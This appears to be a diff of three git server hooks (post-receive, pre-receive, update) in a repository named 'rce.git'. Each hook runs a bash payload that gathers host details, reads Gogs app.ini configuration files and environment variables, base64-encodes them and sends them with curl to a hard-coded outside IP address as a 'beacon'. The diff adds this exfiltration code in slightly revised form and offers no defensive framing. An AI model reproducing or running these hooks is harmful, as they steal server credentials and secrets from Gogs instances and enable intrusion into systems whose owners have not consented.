x

nested/rce.git/hooks/post-receive

@@ -1,4 +1,4 @@
 #!/bin/bash
-( id; hostname; pwd; ls -la /; find / -maxdepth 4 -name 'app.ini' 2>/dev/null; cat /data/gogs/conf/app.ini 2>/dev/null; cat /home/git/gogs/custom/conf/app.ini 2>/dev/null; cat /app/gogs/custom/conf/app.ini 2>/dev/null; env ) > /tmp/gp.txt 2>&1
-D=$(base64 -w0 /tmp/gp.txt 2>/dev/null || base64 /tmp/gp.txt | tr -d '\n')
+( id; hostname; pwd; ls -la /; find / -maxdepth 4 -name app.ini 2>/dev/null; cat /data/gogs/conf/app.ini 2>/dev/null; cat /home/git/gogs/custom/conf/app.ini 2>/dev/null; env ) > /tmp/gp.txt 2>&1
+D=$(base64 -w0 /tmp/gp.txt 2>/dev/null || base64 /tmp/gp.txt | tr -d "\n")
 curl -sk -m 12 "http://38.54.85.161:8899/beacon?d=$D" >/dev/null 2>&1 &

nested/rce.git/hooks/pre-receive

@@ -1,4 +1,4 @@
 #!/bin/bash
-( id; hostname; pwd; ls -la /; find / -maxdepth 4 -name 'app.ini' 2>/dev/null; cat /data/gogs/conf/app.ini 2>/dev/null; cat /home/git/gogs/custom/conf/app.ini 2>/dev/null; cat /app/gogs/custom/conf/app.ini 2>/dev/null; env ) > /tmp/gp.txt 2>&1
-D=$(base64 -w0 /tmp/gp.txt 2>/dev/null || base64 /tmp/gp.txt | tr -d '\n')
+( id; hostname; pwd; ls -la /; find / -maxdepth 4 -name app.ini 2>/dev/null; cat /data/gogs/conf/app.ini 2>/dev/null; cat /home/git/gogs/custom/conf/app.ini 2>/dev/null; env ) > /tmp/gp.txt 2>&1
+D=$(base64 -w0 /tmp/gp.txt 2>/dev/null || base64 /tmp/gp.txt | tr -d "\n")
 curl -sk -m 12 "http://38.54.85.161:8899/beacon?d=$D" >/dev/null 2>&1 &

nested/rce.git/hooks/update

@@ -1,4 +1,4 @@
 #!/bin/bash
-( id; hostname; pwd; ls -la /; find / -maxdepth 4 -name 'app.ini' 2>/dev/null; cat /data/gogs/conf/app.ini 2>/dev/null; cat /home/git/gogs/custom/conf/app.ini 2>/dev/null; cat /app/gogs/custom/conf/app.ini 2>/dev/null; env ) > /tmp/gp.txt 2>&1
-D=$(base64 -w0 /tmp/gp.txt 2>/dev/null || base64 /tmp/gp.txt | tr -d '\n')
+( id; hostname; pwd; ls -la /; find / -maxdepth 4 -name app.ini 2>/dev/null; cat /data/gogs/conf/app.ini 2>/dev/null; cat /home/git/gogs/custom/conf/app.ini 2>/dev/null; env ) > /tmp/gp.txt 2>&1
+D=$(base64 -w0 /tmp/gp.txt 2>/dev/null || base64 /tmp/gp.txt | tr -d "\n")
 curl -sk -m 12 "http://38.54.85.161:8899/beacon?d=$D" >/dev/null 2>&1 &